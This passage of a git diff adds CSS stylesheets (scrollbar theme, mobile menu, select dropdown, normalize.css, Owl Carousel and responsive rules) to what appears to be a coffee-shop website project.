.mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75)}.mCS-dark-3.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-dark-3.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark-3.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-dark-3.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1)}.mCS-dark-3.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px -72px}.mCS-dark-3.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -92px}.mCS-dark-3.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -112px}.mCS-dark-3.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -128px}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-2.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-3.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset.mCSB_scrollTools .mCSB_draggerRail{width:12px;background-color:#000;background-color:rgba(0,0,0,.2)}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:6px;margin:3px 5px;position:absolute;height:auto;top:0;bottom:0;left:0;right:0}.mCS-inset-2-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-2.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{height:6px;margin:5px 3px;position:absolute;width:auto;top:0;bottom:0;left:0;right:0}.mCS-inset-2-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset-2.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset-3-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset-3.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:12px;margin:2px 0}.mCS-inset-2.mCSB_scrollTools .mCSB_buttonUp,.mCS-inset-3.mCSB_scrollTools .mCSB_buttonUp,.mCS-inset.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px -72px}.mCS-inset-2.mCSB_scrollTools .mCSB_buttonDown,.mCS-inset-3.mCSB_scrollTools .mCSB_buttonDown,.mCS-inset.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -92px}.mCS-inset-2.mCSB_scrollTools .mCSB_buttonLeft,.mCS-inset-3.mCSB_scrollTools .mCSB_buttonLeft,.mCS-inset.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -112px}.mCS-inset-2.mCSB_scrollTools .mCSB_buttonRight,.mCS-inset-3.mCSB_scrollTools .mCSB_buttonRight,.mCS-inset.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -128px}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75)}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1)}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonUp,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonUp,.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px -72px}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonDown,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonDown,.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -92px}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonLeft,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonLeft,.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -112px}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonRight,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonRight,.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -128px}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-2.mCSB_scrollTools .mCSB_draggerRail{background-color:transparent;border-width:1px;border-style:solid;border-color:#fff;border-color:rgba(255,255,255,.2);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail{border-color:#000;border-color:rgba(0,0,0,.2)}.mCS-inset-3.mCSB_scrollTools .mCSB_draggerRail{background-color:#fff;background-color:rgba(255,255,255,.6)}.mCS-inset-3-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.6)}.mCS-inset-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75)}.mCS-inset-3.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-inset-3.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-3.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.75)}.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.85)}.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.9)} \ No newline at end of file diff --git a/public/css/meanmenu.css b/public/css/meanmenu.css new file mode 100644 index 0000000..8f38ad1 --- /dev/null +++ b/public/css/meanmenu.css @@ -0,0 +1,179 @@ +/*--------------------------------------------------------------------- File Name: meanmenu.css ---------------------------------------------------------------------*/ + +a.meanmenu-reveal { + display: none; +} + +.mean-container .mean-bar { + background: #308409; + float: left; + min-height: 40px; + padding: 5px 0; + position: relative; + width: 100%; + z-index: 999; +} + +.mean-container a.meanmenu-reveal { + color: #fff; + cursor: pointer; + display: block; + font-family: 'Roboto', sans-serif; + font-weight: 400; + height: 22px; + line-height: 22px; + position: absolute; + right: 12px; + text-decoration: none; + top: 12px; + width: 26px; +} + +.mean-container a.meanmenu-reveal span { + background: #ffffff none repeat scroll 0 0; + border-radius: 0; + display: block; + height: 4px; + margin-top: 3px; + width: auto; +} + +.mean-container a.meanmenu-reveal span:first-child { + margin: 0 +} + +.mean-container .mean-nav { + background: #ffffff none repeat scroll 0 0; + float: left; + margin-top: 44px; + width: 100%; +} + +.mean-container .mean-nav ul { + padding: 0; + margin: 0; + width: 100%; + list-style-type: none; +} + +.mean-container .mean-nav ul li { + position: relative; + float: left; + width: 100%; +} + +.mean-container .mean-nav ul li a { + border-bottom: 1px solid #ccc; + color: #383838; + display: block; + float: left; + font-size: 12px; + font-weight: 500; + margin: 0; + padding: 1em 5%; + text-align: left; + text-decoration: none; + text-transform: uppercase; + width: 90%; +} + +.mean-container .mean-nav ul li a:hover { + color: #38c8a8; +} + +.mean-container .mean-nav ul li li a { + width: 80%; + padding: 1em 10%; + border-top: 1px solid #ccc; + border-top: 1px solid #ccc; + opacity: 1; + filter: alpha(opacity=1); + text-shadow: none !important; + visibility: visible; +} + +.mean-container .mean-nav ul li.mean-last a { + border-bottom: 1px solid #cccccc; + margin-bottom: 0; +} + +.mean-container .mean-nav ul li li li a { + width: 70%; + padding: 1em 15%; +} + +.mean-container .mean-nav ul li li li li a { + width: 60%; + padding: 1em 20%; +} + +.mean-container .mean-nav ul li li li li li a { + width: 50%; + padding: 1em 25%; +} + +.mean-container .mean-nav ul li a:hover { + ` background: #252525; + background: rgba(255, 255, 255, 0.1); +} + +.mean-container .mean-nav ul li a.mean-expand { + background: rgba(255, 255, 255, 0.1) none repeat scroll 0 0; + border: medium none; + font-weight: 400; + height: 22px; + line-height: 22px; + margin-top: 1px; + padding: 12px 16px; + position: absolute; + right: 0; + text-align: center; + top: -1px; + width: 17px; + z-index: 2; + font-size: 18px !important; +} + +.mean-container .mean-nav ul li a.mean-expand:hover { + background: rgba(0, 0, 0, 0.9) none repeat scroll 0 0; + color: #ffffff; +} + +.mean-container .mean-push { + float: left; + width: 100%; + padding: 0; + margin: 0; + clear: both; +} + +.mean-nav .wrapper { + width: 100%; + padding: 0; + margin: 0; +} + +.mean-container .mean-bar, +.mean-container .mean-bar * { + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; +} + +.mean-remove { + display: none !important; +} + +.mean-nav span { + display: none; +} + +.mean-container .mean-nav ul li a.mean-expand:hover, +.mean-container .mean-nav ul li a.mean-expand:focus { + background: #38c8a8; + color: #ffffff; +} + +.mean-container .mean-nav ul li a:hover { + color: #308409; +} diff --git a/public/css/nice-select.css b/public/css/nice-select.css new file mode 100644 index 0000000..fc075ce --- /dev/null +++ b/public/css/nice-select.css @@ -0,0 +1,177 @@ +/*--------------------------------------------------------------------- + File Name: nice-select.css +---------------------------------------------------------------------*/ + +.nice-select { + background-color: #f6f6f6; + border-radius: 0; + box-sizing: border-box; + clear: both; + display: block; + float: left; + height: auto; + outline: none; + padding-left: 20px; + padding-right: 35px; + position: relative; + -webkit-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + width: 50%; + cursor: pointer; + font-family: inherit; + font-weight: normal; + line-height: 50px; + text-align: left !important; + white-space: nowrap; + font-weight: 300; +} + +.nice-select:after { + border-bottom: 2px solid #999; + border-right: 2px solid #999; + content: ''; + display: block; + height: 5px; + margin-top: -4px; + pointer-events: none; + position: absolute; + right: 12px; + top: 50%; + -webkit-transform-origin: 66% 66%; + -ms-transform-origin: 66% 66%; + transform-origin: 66% 66%; + -webkit-transform: rotate(45deg); + -ms-transform: rotate(45deg); + transform: rotate(45deg); + -webkit-transition: all 0.15s ease-in-out; + transition: all 0.15s ease-in-out; + width: 5px; +} + +.nice-select.open:after { + -webkit-transform: rotate(-135deg); + -ms-transform: rotate(-135deg); + transform: rotate(-135deg); +} + +.nice-select.open .list { + opacity: 1; + pointer-events: auto; + -webkit-transform: scale(1) translateY(0); + -ms-transform: scale(1) translateY(0); + transform: scale(1) translateY(0); +} + +.nice-select.disabled { + border-color: #ededed; + color: #999; + pointer-events: none; +} + +.nice-select.disabled:after { + border-color: #cccccc; +} + +.nice-select.wide { + width: 100%; +} + +.nice-select.wide .list { + left: 0 !important; + right: 0 !important; +} + +.nice-select.right { + float: right; +} + +.nice-select.right .list { + left: auto; + right: 0; +} + +.nice-select.small { + font-size: 12px; + height: 36px; + line-height: 34px; +} + +.nice-select.small:after { + height: 4px; + width: 4px; +} + +.nice-select.small .option { + line-height: 34px; + min-height: 34px; +} + +.nice-select .list { + background-color: #fff; + border-radius: 5px; + box-shadow: 0 0 0 1px rgba(68, 68, 68, 0.11); + box-sizing: border-box; + margin-top: 4px; + opacity: 0; + overflow: hidden; + padding: 0; + pointer-events: none; + position: absolute; + top: 100%; + left: 0; + -webkit-transform-origin: 50% 0; + -ms-transform-origin: 50% 0; + transform-origin: 50% 0; + -webkit-transform: scale(0.75) translateY(-21px); + -ms-transform: scale(0.75) translateY(-21px); + transform: scale(0.75) translateY(-21px); + -webkit-transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out; + transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out; + z-index: 9; +} + +.nice-select .list:hover .option:not(:hover) { + background-color: transparent !important; +} + +.nice-select .option { + cursor: pointer; + font-weight: 400; + line-height: 40px; + list-style: none; + min-height: 40px; + outline: none; + padding-left: 18px; + padding-right: 29px; + text-align: left; + -webkit-transition: all 0.2s; + transition: all 0.2s; +} + +.nice-select .option:hover, +.nice-select .option.focus, +.nice-select .option.selected.focus { + background-color: #f6f6f6; +} + +.nice-select .option.selected { + font-weight: bold; +} + +.nice-select .option.disabled { + background-color: transparent; + color: #999; + cursor: default; +} + +.no-csspointerevents .nice-select .list { + display: none; +} + +.no-csspointerevents .nice-select.open .list { + display: block; +} diff --git a/public/css/normalize.css b/public/css/normalize.css new file mode 100644 index 0000000..b26c100 --- /dev/null +++ b/public/css/normalize.css @@ -0,0 +1,427 @@ +/*! normalize.css v6.0.0 | MIT License | github.com/necolas/normalize.css */ + +/* Document + ========================================================================== */ + +/** + * 1. Correct the line height in all browsers. + * 2. Prevent adjustments of font size after orientation changes in + * IE on Windows Phone and in iOS. + */ + +html { + line-height: 1.15; /* 1 */ + -ms-text-size-adjust: 100%; /* 2 */ + -webkit-text-size-adjust: 100%; /* 2 */ +} + +/* Sections + ========================================================================== */ + +/** + * Add the correct display in IE 9-. + */ + +article, +aside, +footer, +header, +nav, +section { + display: block; +} + +/** + * Correct the font size and margin on `h1` elements within `section` and + * `article` contexts in Chrome, Firefox, and Safari. + */ + +h1 { + font-size: 2em; + margin: 0.67em 0; +} + +/* Grouping content + ========================================================================== */ + +/** + * Add the correct display in IE 9-. + * 1. Add the correct display in IE. + */ + +figcaption, +figure, +main { /* 1 */ + display: block; +} + +/** + * Add the correct margin in IE 8. + */ + +figure { + margin: 1em 40px; +} + +/** + * 1. Add the correct box sizing in Firefox. + * 2. Show the overflow in Edge and IE. + */ + +hr { + box-sizing: content-box; /* 1 */ + height: 0; /* 1 */ + overflow: visible; /* 2 */ +} + +/** + * 1. Correct the inheritance and scaling of font size in all browsers. + * 2. Correct the odd `em` font sizing in all browsers. + */ + +pre { + font-family: monospace, monospace; /* 1 */ + font-size: 1em; /* 2 */ +} + +/* Text-level semantics + ========================================================================== */ + +/** + * 1. Remove the gray background on active links in IE 10. + * 2. Remove gaps in links underline in iOS 8+ and Safari 8+. + */ + +a { + background-color: transparent; /* 1 */ + -webkit-text-decoration-skip: objects; /* 2 */ +} + +/** + * 1. Remove the bottom border in Chrome 57- and Firefox 39-. + * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari. + */ + +abbr[title] { + border-bottom: none; /* 1 */ + text-decoration: underline; /* 2 */ + text-decoration: underline dotted; /* 2 */ +} + +/** + * Prevent the duplicate application of `bolder` by the next rule in Safari 6. + */ + +b, +strong { + font-weight: inherit; +} + +/** + * Add the correct font weight in Chrome, Edge, and Safari. + */ + +b, +strong { + font-weight: bolder; +} + +/** + * 1. Correct the inheritance and scaling of font size in all browsers. + * 2. Correct the odd `em` font sizing in all browsers. + */ + +code, +kbd, +samp { + font-family: monospace, monospace; /* 1 */ + font-size: 1em; /* 2 */ +} + +/** + * Add the correct font style in Android 4.3-. + */ + +dfn { + font-style: italic; +} + +/** + * Add the correct background and color in IE 9-. + */ + +mark { + background-color: #ff0; + color: #000; +} + +/** + * Add the correct font size in all browsers. + */ + +small { + font-size: 80%; +} + +/** + * Prevent `sub` and `sup` elements from affecting the line height in + * all browsers. + */ + +sub, +sup { + font-size: 75%; + line-height: 0; + position: relative; + vertical-align: baseline; +} + +sub { + bottom: -0.25em; +} + +sup { + top: -0.5em; +} + +/* Embedded content + ========================================================================== */ + +/** + * Add the correct display in IE 9-. + */ + +audio, +video { + display: inline-block; +} + +/** + * Add the correct display in iOS 4-7. + */ + +audio:not([controls]) { + display: none; + height: 0; +} + +/** + * Remove the border on images inside links in IE 10-. + */ + +img { + border-style: none; +} + +/** + * Hide the overflow in IE. + */ + +svg:not(:root) { + overflow: hidden; +} + +/* Forms + ========================================================================== */ + +/** + * Remove the margin in Firefox and Safari. + */ + +button, +input, +optgroup, +select, +textarea { + margin: 0; +} + +/** + * Show the overflow in IE. + * 1. Show the overflow in Edge. + */ + +button, +input { /* 1 */ + overflow: visible; +} + +/** + * Remove the inheritance of text transform in Edge, Firefox, and IE. + * 1. Remove the inheritance of text transform in Firefox. + */ + +button, +select { /* 1 */ + text-transform: none; +} + +/** + * 1. Prevent a WebKit bug where (2) destroys native `audio` and `video` + * controls in Android 4. + * 2. Correct the inability to style clickable types in iOS and Safari. + */ + +button, +html [type="button"], /* 1 */ +[type="reset"], +[type="submit"] { + -webkit-appearance: button; /* 2 */ +} + +/** + * Remove the inner border and padding in Firefox. + */ + +button::-moz-focus-inner, +[type="button"]::-moz-focus-inner, +[type="reset"]::-moz-focus-inner, +[type="submit"]::-moz-focus-inner { + border-style: none; + padding: 0; +} + +/** + * Restore the focus styles unset by the previous rule. + */ + +button:-moz-focusring, +[type="button"]:-moz-focusring, +[type="reset"]:-moz-focusring, +[type="submit"]:-moz-focusring { + outline: 1px dotted ButtonText; +} + +/** + * 1. Correct the text wrapping in Edge and IE. + * 2. Correct the color inheritance from `fieldset` elements in IE. + * 3. Remove the padding so developers are not caught out when they zero out + * `fieldset` elements in all browsers. + */ + +legend { + box-sizing: border-box; /* 1 */ + color: inherit; /* 2 */ + display: table; /* 1 */ + max-width: 100%; /* 1 */ + padding: 0; /* 3 */ + white-space: normal; /* 1 */ +} + +/** + * 1. Add the correct display in IE 9-. + * 2. Add the correct vertical alignment in Chrome, Firefox, and Opera. + */ + +progress { + display: inline-block; /* 1 */ + vertical-align: baseline; /* 2 */ +} + +/** + * Remove the default vertical scrollbar in IE. + */ + +textarea { + overflow: auto; +} + +/** + * 1. Add the correct box sizing in IE 10-. + * 2. Remove the padding in IE 10-. + */ + +[type="checkbox"], +[type="radio"] { + box-sizing: border-box; /* 1 */ + padding: 0; /* 2 */ +} + +/** + * Correct the cursor style of increment and decrement buttons in Chrome. + */ + +[type="number"]::-webkit-inner-spin-button, +[type="number"]::-webkit-outer-spin-button { + height: auto; +} + +/** + * 1. Correct the odd appearance in Chrome and Safari. + * 2. Correct the outline style in Safari. + */ + +[type="search"] { + -webkit-appearance: textfield; /* 1 */ + outline-offset: -2px; /* 2 */ +} + +/** + * Remove the inner padding and cancel buttons in Chrome and Safari on macOS. + */ + +[type="search"]::-webkit-search-cancel-button, +[type="search"]::-webkit-search-decoration { + -webkit-appearance: none; +} + +/** + * 1. Correct the inability to style clickable types in iOS and Safari. + * 2. Change font properties to `inherit` in Safari. + */ + +::-webkit-file-upload-button { + -webkit-appearance: button; /* 1 */ + font: inherit; /* 2 */ +} + +/* Interactive + ========================================================================== */ + +/* + * Add the correct display in IE 9-. + * 1. Add the correct display in Edge, IE, and Firefox. + */ + +details, /* 1 */ +menu { + display: block; +} + +/* + * Add the correct display in all browsers. + */ + +summary { + display: list-item; +} + +/* Scripting + ========================================================================== */ + +/** + * Add the correct display in IE 9-. + */ + +canvas { + display: inline-block; +} + +/** + * Add the correct display in IE. + */ + +template { + display: none; +} + +/* Hidden + ========================================================================== */ + +/** + * Add the correct display in IE 10-. + */ + +[hidden] { + display: none; +} diff --git a/public/css/owl.carousel.min.css b/public/css/owl.carousel.min.css new file mode 100644 index 0000000..512e53b --- /dev/null +++ b/public/css/owl.carousel.min.css @@ -0,0 +1,6 @@ +/** + * Owl Carousel v2.3.3 + * Copyright 2013-2018 David Deutsch + * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE + */ +.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.owl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-next,.owl-carousel .owl-nav button.owl-prev,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0!important;font:inherit}.owl-carousel.owl-loading{opacity:0;display:block}.owl-carousel.owl-hidden{opacity:0}.owl-carousel.owl-refresh .owl-item{visibility:hidden}.owl-carousel.owl-drag .owl-item{-ms-touch-action:none;touch-action:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel.owl-grab{cursor:move;cursor:grab}.owl-carousel.owl-rtl{direction:rtl}.owl-carousel.owl-rtl .owl-item{float:right}.owl-carousel .animated{animation-duration:1s;animation-fill-mode:both}.owl-carousel .owl-animated-in{z-index:0}.owl-carousel .owl-animated-out{z-index:1}.owl-carousel .fadeOut{animation-name:fadeOut}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.owl-height{transition:height .5s ease-in-out}.owl-carousel .owl-item .owl-lazy{opacity:0;transition:opacity .4s ease}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-video-play-icon:hover{-ms-transform:scale(1.3,1.3);transform:scale(1.3,1.3)}.owl-carousel .owl-video-playing .owl-video-play-icon,.owl-carousel .owl-video-playing .owl-video-tn{display:none}.owl-carousel .owl-video-tn{opacity:0;height:100%;background-position:center center;background-repeat:no-repeat;background-size:contain;transition:opacity .4s ease}.owl-carousel .owl-video-frame{position:relative;z-index:1;height:100%;width:100%} \ No newline at end of file diff --git a/public/css/product.css b/public/css/product.css new file mode 100644 index 0000000..d091fc2 --- /dev/null +++ b/public/css/product.css @@ -0,0 +1,3 @@ +.btn-orange { + background-color: orange; +} \ No newline at end of file diff --git a/public/css/responsive.css b/public/css/responsive.css new file mode 100644 index 0000000..1d70d80 --- /dev/null +++ b/public/css/responsive.css @@ -0,0 +1,412 @@ +/*--------------------------------------------------------------------- File Name: responsive.css ---------------------------------------------------------------------*/ + + +/*------------------------------------------------------------------- 991px x 768px ---------------------------------------------------------------------*/ + +@media only screen and (min-width: 768px) and (max-width: 991px) { + .header-search { + padding: 15px 0px; + } +} + + +/*------------------------------------------------------------------- 767px x 599px ---------------------------------------------------------------------*/ + +@media only screen and (min-width: 599px) and (max-width: 767px) { + .logo { + text-align: center; + } + .cart-content-right { + padding-bottom: 5px; + } + .mg { + margin: 0px 0px; + } + .menu-area-main { + height: 256px; + overflow-y: auto; + } + .megamenu>.row [class*="col-"] { + padding: 0px; + } + .menu-area-main .megamenu .men-cat { + padding: 0px 15px; + } + .menu-area-main .megamenu .women-cat { + padding: 0px 15px; + } + .menu-area-main .megamenu .el-cat { + padding: 0px 15px; + } + .mean-container .mean-nav ul li a.mean-expand { + height: 19px; + } + .category-box.women-box { + display: none; + } + .cart-box { + display: inline-block; + margin: 0px 30px; + } + .wish-box { + float: none; + margin: 0px 30px; + display: inline-block; + } + .menu-add { + display: none; + } + .category-box { + display: none; + } + .mean-container .mean-nav ul li ol { + padding: 0px; + } + .mean-container .mean-nav ul li a { + padding: 10px 20px; + width: 94.8%; + } + .mean-container .mean-nav ul li li a { + width: 92%; + padding: 1em 4%; + } + .mean-container .mean-nav ul li li li a { + width: 100%; + } + .header-search { + padding: 15px 0px; + } + #collapseFilter.d-md-block { + padding: 30px 0px; + } +} + + +/*------------------------------------------------------------------- 599px x 280px ---------------------------------------------------------------------*/ + +@media only screen and (min-width: 280px) and (max-width: 599px) { + .cart-content-right { + padding-bottom: 5px; + } + .megamenu>.row [class*="col-"] { + padding: 0px; + } + .menu-area-main .megamenu .men-cat { + padding: 0px 15px; + } + .menu-area-main .megamenu .women-cat { + padding: 0px 15px; + } + .menu-area-main .megamenu .el-cat { + padding: 0px 15px; + } + .mean-container .mean-nav ul li a { + padding: 1em 4%; + width: 92%; + } + .mean-container .mean-nav ul li li a { + width: 90%; + padding: 1em 5%; + } + .mean-container .sub-full.megamenu-categories ol li a { + padding: 5px 0px; + text-transform: capitalize; + width: 100%; + } + .megamenu .sub-full.megamenu-categories .women-box .banner-up-text a { + width: auto; + border: none; + float: none; + } + .menu-area-main { + height: 45px; + overflow-y: auto; + } + .mean-container .mean-nav ul li a.mean-expand { + top: 0; + } +} + +@media (min-width: 992px) and (max-width: 1199px) { + #main_slider a.carousel-control-prev { + top: 95%; + } + #main_slider a.carousel-control-next { + top: 95%; + } + .banner_taital { + padding: 20px 0px; + } + .banner_section { + background-size: 100% 100%; + padding: 50px 0px; + } + .about_taital_main { + padding: 60px 0px; + } + .mail_section { + padding: 23px 20px; + } + .decorate_text { + font-size: 26px; + } +} + +@media (min-width: 768px) and (max-width: 991px) { + #main_slider a.carousel-control-prev { + top: 90%; + } + #main_slider a.carousel-control-next { + top: 90%; + } + .navbar { + padding: 20px 0px; + } + .logo { + width: 50%; + } + .navbar-toggler { + background-color: #fff; + border: 1px solid #fff; + } + .navbar-expand-lg .navbar-nav .nav-link { + text-align: center; + } + .banner_section { + background-size: 100% 100%; + } + .outstanding_text { + font-size: 50px; + } + .coffee_text { + font-size: 60px; + } + .there_text { + width: 60%; + font-size: 14px; + } + .about_taital_main { + padding: 31px 0px; + } + .about_text { + font-size: 14px; + } + .about_img { + margin-top: 30px; + } + .gallery_text { + font-size: 14px; + } + img.image { + min-height: 210px; + } + .box_main { + margin-top: 20px; + } + .mail_section { + padding: 23px 15px; + } + .footer_section { + padding: 50px 0px; + } + .useful_text { + padding-top: 20px; + } + .box_main { + padding: 40px 5px; + } + .container_main { + margin-top: 30px; + } + .gallery_section_2 { + padding-top: 0; + } + .testimonial_section_2 { + padding: 0px 0px 30px 0px; + } + .testimonial_section_2::before { + height: 200px; + } + .testimonial_section_2::after { + height: 200px; + } + .customer_text { + font-size: 14px; + padding: 0px 30px; + } + .client_name_text { + padding-left: 130px; + } + .client_section_2 { + padding-bottom: 50px; + } + .decorate_text { + font-size: 22px; + } +} + +@media (min-width: 576px) and (max-width: 767px) { + #main_slider a.carousel-control-prev { + top: 90%; + } + #main_slider a.carousel-control-next { + top: 90%; + } + .navbar { + padding: 20px 0px; + } + .logo { + width: 50%; + } + .navbar-toggler { + background-color: #fff; + border: 1px solid #fff; + } + .navbar-expand-lg .navbar-nav .nav-link { + text-align: center; + } + .banner_section { + background-size: 100% 100%; + } + .outstanding_text { + font-size: 30px; + } + .coffee_text { + font-size: 40px; + } + .there_text { + width: 100%; + font-size: 14px; + } + .about_taital_main { + padding: 0px; + } + .about_text { + font-size: 14px; + } + .about_img { + margin-top: 30px; + } + .gallery_text { + font-size: 14px; + } + .box_main { + margin-top: 20px; + } + 